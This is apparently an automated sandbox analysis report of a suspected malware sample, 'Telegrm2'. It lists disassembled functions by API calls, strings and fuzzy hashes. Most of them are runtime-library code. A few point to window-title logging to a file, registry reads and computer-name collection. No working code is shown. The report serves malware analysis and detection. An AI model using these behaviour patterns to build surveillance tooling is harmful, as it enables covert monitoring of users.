Instruction Fuzzy Hash: BD016225605B4196EB17EF77E454338A755BF89BE0F58C238CA2A073D0EE3DC545C614

Function 03351350 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 224COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03351381
_getptd.LIBCMT ref: 0335139F
_CallSETranslator.LIBCMT ref: 033513E7

Part of subcall function 03350340: _getptd.LIBCMT ref: 03350367

Strings

MOC, xrefs: 033513B5
RCC, xrefs: 033513BD

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC$RCC
API String ID: 3569367362-2084237596
Opcode ID: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction ID: b1f4ab65710b3c2b333ed76165defadc2fae87b1dde6134087e9a12e41cfec00
Opcode Fuzzy Hash: a6f955ceb13d2aead7e47fc715c960d9cbe24e492db051bcc867407ba1bb340d
Instruction Fuzzy Hash: 4A61EA30918B0D8FDB24FF58C485BE9B3E1FB80314F544AAEE846C7515EBB4A591C782

Function 03641998 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 036419C9

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

_getptd.LIBCMT ref: 036419E7
_CallSETranslator.LIBCMT ref: 03641A2F

Part of subcall function 03640988: _getptd.LIBCMT ref: 036409AF

Strings

RCC, xrefs: 03641A05
MOC, xrefs: 036419FD

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: 95f1fef18e8ca945eb00305b571a67a1780b62948f8ff94e84b57b73b677f786
Instruction ID: f9289060f0b4ddfe0f4d57977549c54d2f6454c30ea2f996bfbaaddc199d8bb3
Opcode Fuzzy Hash: 95f1fef18e8ca945eb00305b571a67a1780b62948f8ff94e84b57b73b677f786
Instruction Fuzzy Hash: DC51B076A04BC595CF60DB15E5903ADF3A0FB82B88F48452ACB8E47B08DF78C192CB04

Function 03641511 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 03641564
_getptd.LIBCMT ref: 03641519

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

_getptd.LIBCMT ref: 036415DB
_getptd.LIBCMT ref: 036415E7

Strings

csm, xrefs: 0364159B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: 7c21e783455a5fb98a190fc7eeba54a4027d11dc600fb32a3bab00eaa34d48d1
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 6621787A60474482CB34DF12E04079EB364F38ABA5F044226CFAA07B94DF39D486CB08

Function 036323A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 036323FF
lstrcpy.KERNEL32 ref: 03632415
wsprintfA.USER32 ref: 03632444

Strings

SOFTWARE\%sW\, xrefs: 03632435
UnKnow, xrefs: 03632409

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 195aa7c792f68c3d37be22e7ebddb30a17c2acf7ee1d3cf2a9bc292ef160b0ce
Instruction ID: 881cc24999ed362319a3e19387d6023097f511acae22dbbfeb1a52046de7416c
Opcode Fuzzy Hash: 195aa7c792f68c3d37be22e7ebddb30a17c2acf7ee1d3cf2a9bc292ef160b0ce
Instruction Fuzzy Hash: 6F210522328AC191EB20DF60F84039BB7A1F7D5744F800026E68D87A68EF7EC24DCB04

Function 036322C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0363230D
lstrcpy.KERNEL32 ref: 03632323
wsprintfA.USER32 ref: 03632352

Strings

SOFTWARE\%sW\, xrefs: 03632343
UnKnow, xrefs: 03632317

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: d3e69784b9302ca1ce2902db239652cb329ad434354a41554cee57d48e74dbe8
Instruction ID: 25daa23b1558b6461c1ae616feb15117d1bcca1b7e600266c3f2f3c004531862
Opcode Fuzzy Hash: d3e69784b9302ca1ce2902db239652cb329ad434354a41554cee57d48e74dbe8
Instruction Fuzzy Hash: AF119132718A81A2EB21DF21F8947AA7376F7C9744F848015D78D47A58EF3EC249CB00

Function 036321D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0363222B
lstrcpy.KERNEL32 ref: 03632241
wsprintfA.USER32 ref: 03632270

Strings

SOFTWARE\%sW\, xrefs: 03632261
UnKnow, xrefs: 03632235

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: 0d50284aa78bd2e69c8effac112fae1f53a8d1df28bfa31e7eceaae79c1d9a22
Instruction ID: 53b2384da78a142f028a21dd49617bd135a2be632e67a16c21cd0ae633624944
Opcode Fuzzy Hash: 0d50284aa78bd2e69c8effac112fae1f53a8d1df28bfa31e7eceaae79c1d9a22
Instruction Fuzzy Hash: 24116D61718E82A1EF21DF11E85479A6366FBC9748F808016D74D4BAA8EF7EC24DCB14

Function 0362F600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 0362F629
RegGetValueA.ADVAPI32 ref: 0362F666
RegCloseKey.ADVAPI32 ref: 0362F681

Strings

Start, xrefs: 0362F64B
SOFTWARE\Classes\*\shellex, xrefs: 0362F60B

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CloseOpenValue
String ID: SOFTWARE\Classes\*\shellex$Start
API String ID: 779948276-205936948
Opcode ID: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction ID: 24e7c3b216f499d055133f6847014abd7c7844998fae1e1a9d6cc80a96cf54fc
Opcode Fuzzy Hash: 0ca0d2eb96febe7c3f1de3174b521f459ddaae00c317af299b2ead55954e0038
Instruction Fuzzy Hash: 1F018F72715F85A6DB10CF61F48074AB7A8F788B94F404125EA8D43B68EF7DC258CB00

Function 0334B5F4 Relevance: 7.8, APIs: 5, Instructions: 268COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0334B687
free.LIBCMT ref: 0334B816
free.LIBCMT ref: 0334B822

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction ID: cdefdd317314c8e91178537c45c8e10acadd8f72c484a9b506d8b6d58179b9ec
Opcode Fuzzy Hash: b43a66ac7ff6aaea2afa98109b798b6886ea9ecbd7ee844780fc29dcba4b1917
Instruction Fuzzy Hash: DF71B330618B488FDB59EF1CD8D56B5B7E1FB58300B04056EE9CAC7252DE34F8428B81

Function 03337698 Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 03342C48: malloc.LIBCMT ref: 03342C62

std::exception::exception.LIBCMT ref: 0333775F
free.LIBCMT ref: 033377CF
free.LIBCMT ref: 033377E1
free.LIBCMT ref: 033377F3
free.LIBCMT ref: 03337805

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction ID: c5e879025f5157c8d56f5be33b98f66294832d4b80638ad2474cdc9f2fe90a96
Opcode Fuzzy Hash: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction Fuzzy Hash: B2519D74A25B0D8FDB14EFA9D8957EEB7E2FB19301F50012ED00AE7251DA30A459CB81

Function 0333CA18 Relevance: 7.7, APIs: 5, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 03342C48: malloc.LIBCMT ref: 03342C62

std::exception::exception.LIBCMT ref: 0333CAC3
free.LIBCMT ref: 0333CB45
free.LIBCMT ref: 0333CB57
free.LIBCMT ref: 0333CB69
free.LIBCMT ref: 0333CB7B

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 034346fef64e64c3604be82899b0311796007dab574b1657d2e87b5de5512f8f
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: 0D516970A19B0D8FDB59EF99D891AEEB7E0FF59310F44416ED80AD7250DA30E909CB81

Function 0363BC3C Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0363BCCF
__free_lconv_num.LIBCMT ref: 0363BDA3
free.LIBCMT ref: 0363BDAF
free.LIBCMT ref: 0363BE5E
free.LIBCMT ref: 0363BE6A

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$__free_lconv_num
String ID:
API String ID: 1547021563-0
Opcode ID: 3fd54897d514a38d04d774704f064a224a4ed7878e69e318d9a688998552647e
Instruction ID: b1de9c9cd82a0de94359cc04f3987a0b3c1d5f6112d6e0aca2c7c4a8bb858a60
Opcode Fuzzy Hash: 3fd54897d514a38d04d774704f064a224a4ed7878e69e318d9a688998552647e
Instruction Fuzzy Hash: D8519036305B848ADB25DF2AE5807ADB7A4FB8AB84F44442ADF8E4B714DF79C142C744

Function 03346B98 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 03346BBE
_invalid_parameter_noinfo.LIBCMT ref: 03346BC9
_getptd.LIBCMT ref: 03346BD5
_lock.LIBCMT ref: 03346C0E
_lock.LIBCMT ref: 03346CA1

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction ID: 7c874533583f5ce8abace4ec671b531d800eb80b76a4acfd433b326228a53c06
Opcode Fuzzy Hash: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction Fuzzy Hash: 9541D634A18B484FE748EF6C98D17B973D1FB8A310F54456DD84ECB291DE64B8418791

Function 036371E0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 03637206
_invalid_parameter_noinfo.LIBCMT ref: 03637211
_getptd.LIBCMT ref: 0363721D
_lock.LIBCMT ref: 03637256
_lock.LIBCMT ref: 036372E9

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: e307ebdf60afcf4f1258766f21f78663ecd8afde95b540f2b4c0f63bc89bc11f
Instruction ID: bf01c40295cf70c55953f33fec217d0e3ee752f109716a354bf1d3b75a109a7c
Opcode Fuzzy Hash: e307ebdf60afcf4f1258766f21f78663ecd8afde95b540f2b4c0f63bc89bc11f
Instruction Fuzzy Hash: EF41E079205B8491EB06EB26EA8076E73A5FB87BC4F08413DCE4A0B794DF79C041C719

Function 0363A9F4 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0363ABAF), ref: 0363AA4E
malloc.LIBCMT ref: 0363AAB2
MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0363ABAF), ref: 0363AAFA
GetStringTypeW.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,0363ABAF), ref: 0363AB11
free.LIBCMT ref: 0363AB25

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: 19ec0d8d409b3f0c78d3a1fd11e400802325061cd9e83015a295954e37d74f52
Instruction ID: 2a856d6ae13917d1bf15baf05fb087a735ef5ce3b6cbcc0552674079bbe89c45
Opcode Fuzzy Hash: 19ec0d8d409b3f0c78d3a1fd11e400802325061cd9e83015a295954e37d74f52
Instruction Fuzzy Hash: 2B31A233700B80DADB21CFA6D90069977A9FB4ABB8F5C4626EE6E477D4DB79C4018300

Function 036433D8 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 03643419
_exception_enabled.LIBCMT ref: 0364343C

Part of subcall function 0364331C: _set_statfp.LIBCMT ref: 03643343
Part of subcall function 0364331C: _set_statfp.LIBCMT ref: 036433B6

_raise_exc.LIBCMT ref: 03643488
_ctrlfp.LIBCMT ref: 036434C8
_ctrlfp.LIBCMT ref: 036434F9

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 35f83f5e21f618c9a91870de90570602bdc3d1f7c2ec9ca4c22ecb3974c6e250
Instruction ID: 6521ebab7e20d534e407974974a3017a7818bd673fe886dc074fb6ac96bd6d4e
Opcode Fuzzy Hash: 35f83f5e21f618c9a91870de90570602bdc3d1f7c2ec9ca4c22ecb3974c6e250
Instruction Fuzzy Hash: 46318F3AA14F848AD721DF25E8406AFB775FB8A798F145219FE891BB18DF38C455CB00

Function 03633E80 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 03633EA9
RtlDecodePointer.NTDLL ref: 03633EB9

Part of subcall function 0363846C: _errno.LIBCMT ref: 03638475
Part of subcall function 0363846C: _invalid_parameter_noinfo.LIBCMT ref: 03638480

RtlEncodePointer.NTDLL ref: 03633F37

Part of subcall function 03635400: realloc.LIBCMT ref: 0363542B
Part of subcall function 03635400: Sleep.KERNEL32(?,?,00000000,03633F27,?,00000000,?,03633F95,?,?,?,?,0363330B), ref: 03635447

RtlEncodePointer.NTDLL ref: 03633F47
RtlEncodePointer.NTDLL ref: 03633F54

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: d0a5ef006861d4a55f9bbc5827fa344d2b169f87907ea83fd1f906306e090620
Instruction ID: c35c84dd108605c40ef27c2417db4bdb54a36d82e27683c819299644dfa0cb77
Opcode Fuzzy Hash: d0a5ef006861d4a55f9bbc5827fa344d2b169f87907ea83fd1f906306e090620
Instruction Fuzzy Hash: A4219F29B02B4091DA06EBA6FA5435AE3A5F78AFC1F94842DDE0E4B714EF7DC185C304

Function 0362DD70 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0362DD9F
GetWindowTextA.USER32 ref: 0362DDBC
lstrlen.KERNEL32 ref: 0362DDF5
GetLocalTime.KERNEL32 ref: 0362DE04
wsprintfA.USER32 ref: 0362DE54

Part of subcall function 0362DCA0: WaitForSingleObject.KERNEL32 ref: 0362DCBC
Part of subcall function 0362DCA0: CreateFileA.KERNEL32 ref: 0362DCEE
Part of subcall function 0362DCA0: SetFilePointer.KERNEL32 ref: 0362DD13
Part of subcall function 0362DCA0: lstrlen.KERNEL32 ref: 0362DD1C
Part of subcall function 0362DCA0: WriteFile.KERNEL32 ref: 0362DD39
Part of subcall function 0362DCA0: CloseHandle.KERNEL32 ref: 0362DD42
Part of subcall function 0362DCA0: ReleaseMutex.KERNEL32 ref: 0362DD54

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID:
API String ID: 3163932117-0
Opcode ID: d7b798f28ca710dc218c424e4ffe91707bd86e682134cd998386db3cd47beb47
Instruction ID: 7ecbe0db31b2ded869572fa7642af62fd46b736d99959c91a601807cefd8d6a7
Opcode Fuzzy Hash: d7b798f28ca710dc218c424e4ffe91707bd86e682134cd998386db3cd47beb47
Instruction Fuzzy Hash: 28316D71618B8596E711DF52F84036AB7AAF789B48F408125FA8E47A64EF3DC258CB04

Function 00007FF6D9862B4C Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6D9862B83
GetCurrentProcessId.KERNEL32 ref: 00007FF6D9862B8E
GetCurrentThreadId.KERNEL32 ref: 00007FF6D9862B9A
GetTickCount.KERNEL32 ref: 00007FF6D9862BA6
QueryPerformanceCounter.KERNEL32 ref: 00007FF6D9862BB7

Memory Dump Source

Source File: 00000000.00000002.3891144911.00007FF6D9841000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D9840000, based on PE: true

Associated: 00000000.00000002.3891127717.00007FF6D9840000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3891171343.00007FF6D986D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3891195174.00007FF6D987D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3891195174.00007FF6D9882000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3891225364.00007FF6D9886000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3891225364.00007FF6D9898000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3891225364.00007FF6DA298000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3891225364.00007FF6DAC98000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d9840000_Telegrm2.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 899356b22001d9c8fbe9eb7f26d7b29da52992edea5648de9b2842fb6bbd3c41
Instruction ID: 016443c11d5733c2fbbd911e55752b6ce2c66486fd1dd9f1b42d8da30576d7c5
Opcode Fuzzy Hash: 899356b22001d9c8fbe9eb7f26d7b29da52992edea5648de9b2842fb6bbd3c41
Instruction Fuzzy Hash: F3018431B28B4182E7408F21F98026D6360FB49F91F442A36EE5E8B7A0DE3CD8A5C340

Function 0362E600 Relevance: 7.5, APIs: 5, Instructions: 37sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 0362E625
WaitForSingleObject.KERNEL32 ref: 0362E635
CloseHandle.KERNEL32 ref: 0362E642
Sleep.KERNEL32 ref: 0362E64D
CloseHandle.KERNEL32 ref: 0362E673

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepTerminateThreadWait
String ID:
API String ID: 3303361366-0
Opcode ID: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction ID: 48726fcdd8c4234c0b94055bf22f265b286eaec52241204bf3e7ce14e49e2735
Opcode Fuzzy Hash: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction Fuzzy Hash: 01016D32A05B80D2EB56DF75F8943997324F7C4B84F488121DA9E03314DF3AD196C700

Function 03343A64 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 03342CEC: _getptd.LIBCMT ref: 03342CFE

_errno.LIBCMT ref: 03343A91
_invalid_parameter_noinfo.LIBCMT ref: 03343A9C

Part of subcall function 03348670: iswctype.LIBCMT ref: 033486DD

Strings

Z, xrefs: 03343ADA
A, xrefs: 03343AD4

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: d4f8479cd94825541eae0893006cd49f0ea1cb0f1a05df1a0925455fd5fe625e
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: C921F239958B598FD770EB1C84D47B6F7E0FB44331F9C065AA4D9CB2A0C668E891C382

Function 03350EC9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03350ED1
_getptd.LIBCMT ref: 03350F93
_getptd.LIBCMT ref: 03350F9F

Strings

csm, xrefs: 03350F53

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: e748e1c253b9356423d4f18e15afe84205949915c851043b2750f98ecc04a03c
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: 0D315E34618B048FCB68EF58D4D0B69B3E1FB98710F440A6DE8CA87651D732F846CB86

Function 0364312C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 03643167
_errno.LIBCMT ref: 03643171
_invalid_parameter_noinfo.LIBCMT ref: 03643178

Strings

-, xrefs: 03643193

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: db6bbf44285abe7b96fb48bd68a4250f9ae02bad1609ade60c914bb13a8901f9
Instruction ID: 69ec3c5942ec89fda8872fe7243642feb1095b4bd99291d3470ff4483fac759e
Opcode Fuzzy Hash: db6bbf44285abe7b96fb48bd68a4250f9ae02bad1609ade60c914bb13a8901f9
